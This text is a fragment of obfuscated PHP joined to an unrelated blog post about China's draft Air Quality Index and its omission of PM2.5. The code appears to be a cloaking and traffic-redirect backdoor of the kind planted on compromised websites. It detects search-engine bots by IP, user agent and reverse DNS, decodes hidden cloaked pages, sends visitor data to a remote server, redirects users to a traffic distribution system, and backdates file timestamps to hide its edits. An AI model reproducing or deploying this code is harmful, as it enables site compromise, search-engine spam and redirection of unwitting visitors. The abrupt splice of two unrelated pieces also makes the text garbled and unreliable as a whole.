_41);$this->_43=strlen($this->_42);$this->_46=(is_dir($this->_44)&&is_writable($this->_44));$this->_16->l__16("init cache result: {$this->_46}");}function l__25($_3){if(!$this->_48){$this->_16->l__16(_1916063019(219));return false;}$_53=$this->l__26($_3);$this->_16->l__16("[cache] try $_53.");if(!file_exists($_53)){$this->_16->l__16(_1916063019(220));return false;}$_25=false;$_54=@fopen($_53,_1916063019(221));if($_54){if(@flock($_54,LOCK_SH)){fseek($_54,$this->_43);$_25=@fread($_54,(filesize($_53)-$this->_43));if($_25){$_55=@unserialize(gzuncompress($_25));if(is_array($_55)){if((time()-$_55[_1916063019(222)])<$this->_45*3600){$_25=$_55[_1916063019(223)];}else{$this->_16->l__16(_1916063019(224));$_25=false;}}else $this->_16->l__16(_1916063019(225));}@flock($_54,LOCK_UN);}else $this->_16->l__16("[cache] !!!ERROR can't lock file $_53");@fclose($_54);}else $this->_16->l__16("[cache] !!!ERROR can't open file $_53");return $_25;}function l__21($_3,$_8){if(!$this->_48){$this->_16->l__16(_1916063019(226));return false;}$_53=$this->l__26($_3);$_56=array(_1916063019(227)=>time(),_1916063019(228)=>$_8);$_57=gzcompress(serialize($_56),$this->_47);$_58=$this->_42 .$_57;$_59=(file_exists($_53))?filemtime($_53):time();if(time()-$_59<100){$_59=time()-(3600*24*365)*2;$this->_16->l__16(_1916063019(229));}$_60=false;$_54=@fopen($_53,_1916063019(230));if($_54){if(@flock($_54,LOCK_EX)){$_60=@fwrite($_54,$_58);@flock($_54,LOCK_UN);}else $this->_16->l__16("[cache]!!!ERROR can't lock file $_53");@fclose($_54);}else{$this->_16->l__16("[cache]!!!ERROR can't open file $_53");}@touch($_53,$_59,$_59);$this->_16->l__16("[cache]write to cache $_53: " .(((bool)$_60)?_1916063019(231):_1916063019(232)));return $_60;}function l__26($_3){$_61=str_replace(array(_1916063019(233),_1916063019(234),_1916063019(235),_1916063019(236),_1916063019(237)),_1916063019(238),strtolower($_3));$_62=crc32($_61);return $this->_44 ."button$_62.png";}}class l__27{var $_63;var $_64;var $_37;var $_38;function l__27($_65){$this->_63=$_65;$this->_64=(isset($_SERVER[_1916063019(239)]))?$_SERVER[_1916063019(240)]:getenv(_1916063019(241));$this->_64=trim($this->_64);}}class ____SerpUser_Detector extends l__27{function l__28(){$_66=false;if(preg_match(_1916063019(242),$this->_64)){$_67=array();if(preg_match(_1916063019(243),$this->_64,$_67)){$_68=(isset($_67[2]))?$_67[2]:null;$this->_38=$_68;if(!empty($_68)){foreach($this->_63 as $_69){if(stristr($_68,$_69)!==false){$this->_37=$_69;$_66=true;break;}}}}}return $_66;}}class l__29 extends l__27{var $_70;var $_71;var $_72;var $_73;var $_74='http://www.google.com/search?q=info:{url}&ie=utf-8&oe=utf-8&hl=en&gl=us';function l__29($_65,&$_75,$_10,$_76){$this->_70=&$_75;$this->_71=$_76;$this->_72=$_10;$this->_73=3600*6;parent::l__27($_65);}function l__28($_3){$_66=false;if(preg_match(_1916063019(244),$this->_64)){$_67=array();if(preg_match(_1916063019(245),$this->_64,$_67)){$_68=$this->l__30($_3);if($_68!==false){$this->_38=$_68;}if(!empty($_68)&&$_68!==false){foreach($this->_63 as $_69){if(stristr($_68,$_69)!==false){$this->_37=$_69;$_66=true;break;}}}}}return $_66;}function l__30($_3){$_77=false;$_78=false;$_79=$this->l__33();$_80=$this->l__35($_3);$_81=time();$_82=_1916063019(246);if(isset($_79[$_80][_1916063019(247)])){$_82=$_79[$_80][_1916063019(248)];}if(empty($_82)){$_69=$this->l__32($_3);if($_69!==false){$_82=$_79[$_80][_1916063019(249)]=$_69;}}if(!empty($_82)){$_83=array(_1916063019(250)=>false,_1916063019(251)=>0);if(isset($_79[$_80][_1916063019(252)])){$_83=$_79[$_80][_1916063019(253)];}if(!$_83[_1916063019(254)]){if(($_81-$_83[_1916063019(255)])>$this->_73){if($this->l__31($_3))$_83[_1916063019(256)]=$_79[$_80][_1916063019(257)][_1916063019(258)]=true;else $_79[$_80][_1916063019(259)][_1916063019(260)]=false;$_79[$_80][_1916063019(261)][_1916063019(262)]=$_81;$_77=true;}}$_78=$_83[_1916063019(263)];}if($_77){$this->l__34($_79);}return($_78&&!empty($_82))?$_82:false;}function l__31($_3){global $_84;$_84=implode(_1916063019(264),$this->_63);$_85=str_replace(_1916063019(265),urlencode($_3),$this->_74);$_86=$this->_72->l__53($_85,true);foreach($this->_63 as $_69){if(stristr($_86,$_69)!==false){return true;}}return false;}function l__32($_3){$_86=$this->_70->l__71($_3);if($_86[_1916063019(266)]){$_87=array();if(preg_match(_1916063019(267),$_86[_1916063019(268)],$_87)){$_69=$_87[1];return $_69;}}return false;}function l__33(){if(!file_exists($this->_71)){$_88=time()-3600*24*31*3;@touch($this->_71,$_88,$_88);return array();}$_54=@fopen($this->_71,_1916063019(269));if($_54){@flock($_54,LOCK_SH);$_8=@fread($_54,filesize($this->_71));@flock($_54,LOCK_UN);@fclose($_54);$_89=@unserialize(gzuncompress($_8));return($_89===false)?array():$_89;}return array();}function l__34($_79){$_90=@filemtime($this->_71);$_57=gzcompress(serialize($_79),5);$_54=@fopen($this->_71,_1916063019(270));if($_54){@flock($_54,LOCK_EX);fwrite($_54,$_57);@flock($_54,LOCK_UN);@fclose($_54);@touch($this->_71,$_90,$_90);}}function l__35($_3){$_61=str_replace(array(_1916063019(271),_1916063019(272),_1916063019(273),_1916063019(274),_1916063019(275)),_1916063019(276),strtolower($_3));return md5($_61);}}class l__36{var $_91;var $_92=array();var $_93;var $_94;var $_16;var $_95='[botdetector]';function l__36($_9,&$_96,&$_97,&$_50,$_98=array('ua','ip')){$this->_92=$_9;$this->_93=$_96;$this->_94=$_97;$this->_91=$_98;$this->_16=&$_50;}function l__37(){$_99=$_SERVER[_1916063019(277)];$_100=$this->_94->l__43();if($_100===false)return false;$_101=false;if(in_array(_1916063019(278),$this->_91)){$this->_16->l__16("{$this->_95} check ip");$_101=$this->l__39($_99,$_100[_1916063019(279)]);}if(!$_101&&in_array(_1916063019(280),$this->_91)){$this->_16->l__16("{$this->_95} check ua");$_101=$this->l__38($_100[_1916063019(281)]);}if(!$_101){$this->_16->l__16("{$this->_95} check host");$_101=$this->l__41($_99);}return $_101;}function l__38(&$_102){$_103=$_SERVER[_1916063019(282)];foreach($_102 as $_104){if(stristr($_103,$_104))return true;}return false;}function l__39($_99,&$_105){$_106=ip2long($_99);$_107=false;foreach($_105 as $_108){$_108=trim($_108);if(stristr($_108,_1916063019(283))!==false||stristr($_108,_1916063019(284))!==false){list($_109,$_110)=$this->l__40($_108);$_111=ip2long($_109);$_112=ip2long($_110);if($_106>=$_111&&$_106<=$_112){$_107=true;break;}}else{if($_99==$_108){$_107=true;break;}}}return $_107;}function l__40($_99){$_113=explode(_1916063019(285),$_99);$_114=$_115=array();foreach($_113 as $_116){if($_116== _1916063019(286)){$_114[]=0;$_115[]=255;continue;}if(stristr($_116,_1916063019(287))){$_117=explode(_1916063019(288),$_116);$_114[]=$_117[0];$_115[]=$_117[1];}else{$_114[]=$_116;$_115[]=$_116;}}return array(join(_1916063019(289),$_114),join(_1916063019(290),$_115));}function l__41($_99){if(!$this->_92[_1916063019(291)])return false;$_118=@gethostbyaddr($_99);if(empty($_118))return false;$_118=strtolower($_118);foreach($this->_92[_1916063019(292)]as $_119){if(strpos($_118,$_119)!==false){$this->_93->l__49($_99,$_118);return true;}}return false;}}class l__42{var $_72;var $_120;var $_121;var $_122;var $_95='[botprovider]';var $_16;function l__42(&$_10,&$_50,$_123,$_124,$_125){$this->_72=$_10;$this->_120=$_123;$this->_121=$_124;$this->_122=$_125*3600;$this->_16=&$_50;}function l__43(){$_8=$this->l__44();if($_8===false||time()-($_8[_1916063019(293)])>$this->_122){$this->_16->l__16("{$this->_95} data need update. try update");$this->l__45();$_8=$this->l__44();}if($_8===false)$this->_16->l__16("{$this->_95} data is not present");return $_8;}function l__44(){if(!file_exists($this->_121)){$this->_16->l__16("{$this->_95} bot file not exists");return false;}clearstatcache();if(filesize($this->_121)==0)return false;$_8=false;$_54=@fopen($this->_121,_1916063019(294));if($_54){if(@flock($_54,LOCK_SH)){$_126=fread($_54,filesize($this->_121));$_8=$this->l__46($_126);if($_8===false)$this->_16->l__16("{$this->_95} data is corrupted");@flock($_54,LOCK_UN);}else $this->_16->l__16("{$this->_95} cannot lock file for read");@fclose($_54);}else{$this->_16->l__16("{$this->_95} cannot open file for read");}return $_8;}function l__45(){$_127=(file_exists($this->_121))?filemtime($this->_121):(time()-24*3600*30*3);$_54=@fopen($this->_121,_1916063019(295));if($_54){if(@flock($_54,LOCK_EX)){$_128=$this->_72->l__53($this->_120);$_129=$this->l__46($_128);if($_129!==false){$_8=array(_1916063019(296)=>time(),_1916063019(297)=>$_129[_1916063019(298)],_1916063019(299)=>$_129[_1916063019(300)]);$_126=$this->l__47($_8);@ftruncate($_54,0);if(!@fwrite($_54,$_126))$this->_16->l__16("{$this->_95} cannot write data");}else{$this->_16->l__16("{$this->_95} server data is corrupted");}@flock($_54,LOCK_UN);}else $this->_16->l__16("{$this->_95} cannot lock file for update");@fclose($_54);@touch($this->_121,$_127,$_127);}else{$this->_16->l__16("{$this->_95} cannot open file for update");}}function l__46($_126){return@unserialize(gzuncompress($_126));}function l__47($_8){return gzcompress(serialize($_8),9);}}class l__48{var $_72;var $_130;function l__48($_10,$_3){$this->_72=$_10;$this->_130=$_3;}function l__49($_99,$_131){$_8=array(_1916063019(301)=>$_SERVER[_1916063019(302)],_1916063019(303)=>$_99,_1916063019(304)=>$_131,_1916063019(305)=>$_SERVER[_1916063019(306)]);$_1=array();foreach($_8 as $_69 => $_132){$_1[]="$_69=" .base64_encode($_132);}$_1[]=_1916063019(307) .crc32($_8[_1916063019(308)]);$_3=$this->_130 ._1916063019(309) .join(_1916063019(310),$_1);@$this->_72->l__54($_3);}}class l__50{var $_92=array('timeout'=>10,'headers'=>array());var $_133;var $_16;var $_134;function l__50(&$_50,$_135='curl',$_9=array()){$this->_16=&$_50;$this->_134=$_135;$this->_92=array_merge($this->_92,$_9);}function l__51($_69,$_132){$this->_92[$_69]=$_132;}function l__52(){$_136=array();foreach($this->_92[_1916063019(311)]as $_69=>$_132)$_136[]="$_69: $_132";return $_136;}function l__53($_3,$_137=true){switch($this->_134){case _1916063019(312):$_138=$this->l__60($_3,$_137);break;case _1916063019(313):$_138=$this->l__58($_3,$_137);break;case _1916063019(314):$_138=$this->l__55($_3);break;default:$this->_16->l__16("[webclient] unknown webclient type. {$this->_134}");}$this->_16->l__16(_1916063019(315) .strlen($_138));return $_138;}function l__54($_3){switch($this->_134){case _1916063019(316):return $this->l__61($_3);break;case _1916063019(317):return $this->l__59($_3);break;case _1916063019(318):return $this->l__56($_3);break;default:$this->_16->l__16("[webclient] unknown webclient type. {$this->_134}");}}function l__55($_3){$this->_16->l__16("[webclient(socket)] load content: $_3");$_54=$this->l__57($_3);if(!$_54)return _1916063019(319);$_55=_1916063019(320);while(!@feof($_54)){$_55.=@fread($_54,8192);}fclose($_54);$_113=explode(_1916063019(321),$_55,2);$_55=(count($_113)==2)?$_113[1]:$_55;return $_55;}function l__56($_3){$this->_16->l__16("[webclient(socket)] load headers: $_3");$_54=$this->l__57($_3);if(!$_54)return _1916063019(322);$_55=_1916063019(323);while(!@feof($_54)){$_55.=@fread($_54,8192);if(strpos($_55,_1916063019(324))!==false){$_113=explode(_1916063019(325),$_55,2);$_55=$_113[0];break;}}fclose($_54);return $this->l__63($_55);}function l__57($_3){$this->_133=_1916063019(326);$_139=parse_url($_3);$_53=(empty($_139[_1916063019(327)]))?_1916063019(328):$_139[_1916063019(329)];if(!empty($_139[_1916063019(330)]))$_53.= _1916063019(331) .$_139[_1916063019(332)];$_140=$_141=null;$_54=@fsockopen($_139[_1916063019(333)],80,$_140,$_141,$this->_92[_1916063019(334)]);if(!$_54){$this->_16->l__16("[webclient(socket)] error: $_141");return false;}stream_set_timeout($_54,$this->_92[_1916063019(335)]);fwrite($_54,"GET $_53 HTTP/1.1\n");fwrite($_54,"Host: {$_139[_1916063019(336)]}\n");fwrite($_54,_1916063019(337));foreach($this->l__52()as $_142)fwrite($_54,"$_142\n");fwrite($_54,_1916063019(338));return $_54;}function l__58($_3,$_137=true){$this->_133=_1916063019(339);$this->_16->l__16("[webclient(fopen)] load content: $_3");$_143=array(_1916063019(340)=>array(_1916063019(341)=>7,_1916063019(342)=>$_137,_1916063019(343)=>join(_1916063019(344),$this->l__52()),_1916063019(345)=>$this->_92[_1916063019(346)]));$_144=stream_context_create($_143);$_54=@fopen($_3,_1916063019(347),false,$_144);$_55=_1916063019(348);while(!@feof($_54)){$_55.=@fread($_54,8192);}@fclose($_54);return $_55;}function l__59($_3){$this->_133=_1916063019(349);$this->_16->l__16("[webclient(get_headers)] load headers: $_3");$_145=@get_headers($_3,true);return $_145;}function l__60($_3,$_137=true){global $_84;$this->_16->l__16("[webclient(curl)] load content: $_3");$_146=$this->l__62($_3);curl_setopt($_146,CURLOPT_HEADER,0);@curl_setopt($_146,CURLOPT_FOLLOWLOCATION,$_137);curl_setopt($_146,CURLOPT_HTTPHEADER,$this->l__52());$_55=@curl_exec($_146);if($_55===false){$_147=curl_error($_146);$this->_16->l__16("[webclient(curl)] FAILED: $_147");if(stristr($_3,_1916063019(350))&& curl_errno($_146)>0){$_55=$_84;}}if(stristr($_3,_1916063019(351))&& curl_getinfo($_146,CURLINFO_HTTP_CODE)==302){$_55=$_84;}curl_close($_146);return $_55;}function l__61($_3){$this->_16->l__16("[webclient(curl)] load headers: $_3");$_146=$this->l__62($_3);curl_setopt($_146,CURLOPT_HEADER,1);curl_setopt($_146,CURLOPT_NOBODY,1);$_55=@curl_exec($_146);if($_55===false){$_147=curl_error($_146);$this->_16->l__16("[webclient(curl)] FAILED: $_147");}curl_close($_146);return $this->l__63($_55);}function l__62($_3){$this->_133=_1916063019(352);$_146=curl_init();curl_setopt($_146,CURLOPT_URL,$_3);curl_setopt($_146,CURLOPT_TIMEOUT,$this->_92[_1916063019(353)]);curl_setopt($_146,CURLOPT_RETURNTRANSFER,true);return $_146;}function l__63($_148){$_148=str_replace(_1916063019(354),_1916063019(355),$_148);$_149=explode(_1916063019(356),$_148);$_145=array();foreach($_149 as $_150){$_150=trim($_150);if(empty($_150))continue;if(strpos($_150,_1916063019(357))===false)continue;@list($_69,$_132)=explode(_1916063019(358),$_150,2);if(isset($_145[$_69])){if(!is_array($_145[$_69]))$_145[$_69]=array($_145[$_69]);$_145[$_69][]=$_132;}else $_145[$_69]=(!empty($_132))?$_132:_1916063019(359);}$this->_16->l__16(_1916063019(360) .trim($_148));return $_145;}}class l__64{var $_72;var $_151;function l__64($_10,$_152){$this->_72=&$_10;$_152=str_replace(_1916063019(361),$_SERVER[_1916063019(362)],$_152);$_152=str_replace(_1916063019(363),rawurlencode($_SERVER[_1916063019(364)]),$_152);$_152=str_replace(_1916063019(365),rawurlencode(_1916063019(366) .@$_SERVER[_1916063019(367)]),$_152);$this->_151=$_152;}function l__65(){return preg_replace(_1916063019(368),_1916063019(369),$this->_151);}function l__66($_69,$_132){$this->_151=str_replace(_1916063019(370) .$_69 ._1916063019(371),rawurlencode($_132),$this->_151);}function l__67(){$_145=$this->_72->l__54($this->l__65());if(!isset($_145[_1916063019(372)]))return false;$_153=trim($_145[_1916063019(373)]);$_154=_1916063019(374);if(strpos($_153,_1916063019(375))!==false){list($_153,$_154)=explode(_1916063019(376),$_153);}return array($_153,$_154);}}class ____External_Base{function l__68($_138){echo $_138;}}class l__69{var $_155;var $_72=false;var $_156;function l__69($_157,$_10=false){$this->_155=rtrim($_157,_1916063019(377)) ._1916063019(378);if($_10)$this->_72=&$_10;}function l__70($_158){$this->_156=$_158;}function l__71($_3){$_69=$this->l__72($_3);$_159=$this->_155 .$_69;$_86=false;$_160=_1916063019(379);$_161=false;if($this->_72!=false){$_86=$this->_72->l__53($_159);$_160=$this->_72->_133;$_86=trim($_86);if(stristr($_86,_1916063019(380))){$_86=false;$_161=true;}}else{$_86=$this->l__73($_159);if($_86===false)$_161=true;$_160=_1916063019(381);}if($this->_156!==null){$_86=$this->_156->l__74($_86);}return array(_1916063019(382)=>(bool)$_86,_1916063019(383)=>$_86,_1916063019(384)=>$_159,_1916063019(385)=>$_160,_1916063019(386)=>$_161);}function l__72($_3){$_61=str_replace(array(_1916063019(387),_1916063019(388),_1916063019(389),_1916063019(390),_1916063019(391)),_1916063019(392),strtolower($_3));return md5($_61);}function l__73($_53){if(!file_exists($_53))return false;@$_162=fopen($_53,_1916063019(393));@$_86=fread($_162,filesize($_53));@fclose($_162);return $_86;}}class ____CloackPage_Decoder{function l__74($_8){if(empty($_8))return null;$_163=@base64_decode($_8);if($_163===false)return $_8;$_129=@gzinflate(@str_rot13($_163));if($_129===false)return $_8;return $_129;}}class ____Bootstrap_Simple extends l__0{function l__75(){if(!isset($this->_6[_1916063019(394)]))$this->_6[_1916063019(395)]=&new l__76($this->l__2($this->_7),$this->_4[_1916063019(396)][_1916063019(397)]);return $this->_6[_1916063019(398)];}}class ____Engine_Simple extends l__9{function l__11($_3,$_23){$_24=$this->_15->l__75();$_22=$this->_15->l__4();$_164=$_22->l__65();if($this->_4[_1916063019(399)]== _1916063019(400)){if(!$this->_18)$_24->l__77();$this->_16->l__16("request tds url: $_164");list($_153,$_154)=$_22->l__67();$this->_16->l__16("received out url: $_153");if($_153===false){$this->_16->l__16("bad out url. redirect to tds: $_164");if(!$this->_18)$_24->l__80($_164);}else{$this->_16->l__16("try load out page: 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China amends air quality measures but misses key pollutant – PM 2.5

The Chinese Ministry of Environmental Protection has been drafting new proposals (see rough Google translation in English here) to amend former daily reporting of the Air Pollution Index (API), which has been used the last 20 years to communicate air quality and health hazards posed by air pollution on any given day.  In 2000 the MEP (then the State Environmental Protection Agency, or SEPA) began reporting a daily API for 42 cities; now, data for 113 cities are available from the China National Environmental Monitoring Center.

Although these new specifications are still in draft form, it’s interesting to take a look to see what the MEP is considering, particularly in light of the fact that China’s annual National People’s Congress parliamentary meetings just concluded and approved the 12th Five-Year Plan (full text in Chinese here).  As I’ve written with my colleague Deborah Seligsohn of the World Resources Institute, the new Plan includes an ambitious range of energy and environmental targets, including those for air pollutants like SO2 and for the first time nitrogen oxides (NOx).  While the Plan included a blueprint for major reduction goals for these criteria pollutants, the specifics as to how targets will be allocated and policies implemented still remain to be developed over the coming months by the individual Ministries, provinces, and cities.

These draft AQI guidelines provide some insight as to how monitoring of criteria air pollutants might change as a result of the Plan.  I’ve taken a look at the second draft, which the MEP posted on their website during the last week of February, prior to the release of the 12th FYP.  Most notably, the new specifications appear to reflect a greater attempt by the Chinese MEP to make the former API more consistent with the United States’ Air Quality Index. This effort is reflected through:

  • Renaming the API the “Air Quality Index” to be consistent with the U.S.’s nomenclature.
  • Providing a consistent color classification system identical to the U.S.’s AQI color scheme.
  • Descriptions of health effects of AQI scores in language similar to that used by the AQI
  • Inclusion of new particulates carbon monoxide (CO) and Ozone (O3), which were previously absent from the API
  • Changes to the calculation methodology to reflect the U.S.’s AQI

I’ll spend the rest of this post highlighting some of these proposed changes.

Consistent Communication

Figure 1. Color classifications and descriptions of the new AQI, compared to previous versions and the US. Sources: MEP, 2011 and Andrews, 2009.

Even though the API was originally based on the United States’ AQI, there are differences in the scale and corresponding health hazard categorizations as well as color classification schemes.  Inconsistencies in color classifications within China are due to the fact that unlike in the United States, where the AQI colors are standardized, local environment protection bureaus (EPBs) in China have been allowed to set their own color schemes.  As Figure 1 depicts, the MEP is proposing a color coding scheme that is entirely consistent with the U.S.’s AQI, unlike the example Andrews (2009) shows of conflicting colors between Beijing and Guangzhou that could be confusing for travelers between the two cities.  Making the colors classifications the same as the United States will also provide more transparency and clarity for those familiar with the U.S. AQI system.

Further, while the descriptions of the AQI classes (i.e. ‘Excellent,’ ‘Good,’ etc.) haven’t changed from the previous API, the descriptions of the Health Effects are similar to those provided by the U.S. EPA.

How is the new AQI calculated?

Remember that the API was determined from only using three pollutants:  SO2, NO2, and PM10. The concentration of each pollutant is measured at various monitoring stations throughout a city over a 24-hour period (noon to noon). The average daily concentration of each pollutant is then converted to a normalized index, which means that each pollutant is given its own API score.  The daily API then only reflects the pollutant with the highest API (see Vance Wagner’s concise explanation on how the API is calculated).

Figure 2. Concentration normalization table for pollutants in the AQI. Source: MEP, 2011. 1) If 1 and 2 are the same, then use 1/2 of 2; 2) Use the concentration limit of Class 2 (TBD); 3) if the concentration of O3 exceeds 0.800 mg/m3 then it exceeds the scale.

As shown in Figure 2, the AQI now includes three additional measures: carbon monoxide (CO), Ozone (O3) – 1 hour average and Ozone (O3) – 8 hour average. The concentrations of each of these six pollutants are normalized according to the table in Figure 2.  The (1),(2), and (3) annotations mean that the MEP is still debating what concentration levels should be. Several options under consideration are found in the “Instruction Manual” document of the draft proposals (in Chinese only).

What is notably missing, however, is a measure of PM 2.5 (air particulates with a diameter of 2.5 microns or less; known to have serious health implications such as asthma, lung cancer, and cardiovascular disease, due to their ability to penetrate human lungs).  Despite the fact that many major countries report PM 2.5 concentration data, some are viewing the lack of PM 2.5 from the new AQI as a major disappointment.

Ma Jun, Director of the Institute of Public and Environmental Affairs (IPE), the Beijing-based NGO who released the Air Quality Transparency Indexwrote about earlier this year, said in a Global Times article that leaving it out was a mistake.

He goes on to say:

“Technology for measuring PM2.5 is not a problem for China any more, as cities in developing countries like New Delhi and Mexico City have already made the index public,” said Ma. He said a reluctance to include the crucial index has to do with concerns about local economies.

“Government agencies feel the index may hurt the image of many cities that want to attract investment or that they may not be able to improve PM2.5 pollution in a short time,” Ma said.

However, contrary to Ma Jun’s assessment that it’s not a technological capacity issue, I wonder if the decision to leave PM 2.5 out of the new AQI isn’t really due to local availability of PM2.5 monitoring technology.  There is a sentence (6.1 地方各级环境保护行政主管部门可根据当地的实际情况和环境保护工作的需要,参照本 标准的要求,增加空气污染物评价项目,如细颗粒物(PM2.5 等)) on Page 4 of the draft proposal that says that local EPBs can consider projects that increase the range of pollutant monitoring, specifically mentioning PM2.5.

On the other hand, one notable improvement in the AQI’s calculation is the change in methodology proposed.  While the U.S.’s AQI is based on the highest reading in a city and thus represents the “worst” air quality case a person could encounter, the Chinese API represents an average.  The draft proposals improve upon the API’s methodology, adopting a similar calculation method to that of the U.S.

First, “individual AQIs” are calculated as follows:

Figure 3. Formula for determining the Individual Air Quality Index (IAQI). Source: MEP, 2011.

where:

IAQIp is the individual AQI;
Cp is the concentration of the six pollutants (SO2, NO2, PM10, CO, O3-1hr and O3-8 hour averages. If a city has more than one monitoring station, the average of the pollutant concentrations are used [对于城市区域为多测点的日均浓度值]).

BP(hi) is the pollutant with the highest concentration
BP(lo) is the pollutant with the lowest concentration
IAQI(hi) is the index score of BP(hi) (on the IAQI 0-500)
IAQI(lo) is the index score of BP(lo) (on the IAQI 0-500)

The max of these IAQIs (Figure 4) is then used to determine the AQI.

Figure 4. Formula to determine the AQI. Source: MEP, 2011.

I will spend some more time going through the longer instruction guidelines for the proposals and will update this post if I find more details. In the meantime, I welcome any comments or alternative interpretations.

References:

Andrews, S.Q. 2009. “Seeing through the Smog: Understanding the Limits of Chinese Air Pollution Reporting.” China Environment Forum, Vol. 10.  http://www.wilsoncenter.org/topics/pubs/andrews_feature_ces10.pdf

Ministry of Environmental Protection. 2011. Technical Regulation on Ambient Air Quality Index Daily Report. Second Draft. Available here:  http://www.mep.gov.cn/pv_obj_cache/pv_obj_id_47B37A70B7A7F94EBAE2DC9709456678C1210400/filename/W020110301385498176520.pdf

Acknowledgements:
Thanks to Chris Haagen for providing some translation assistance.

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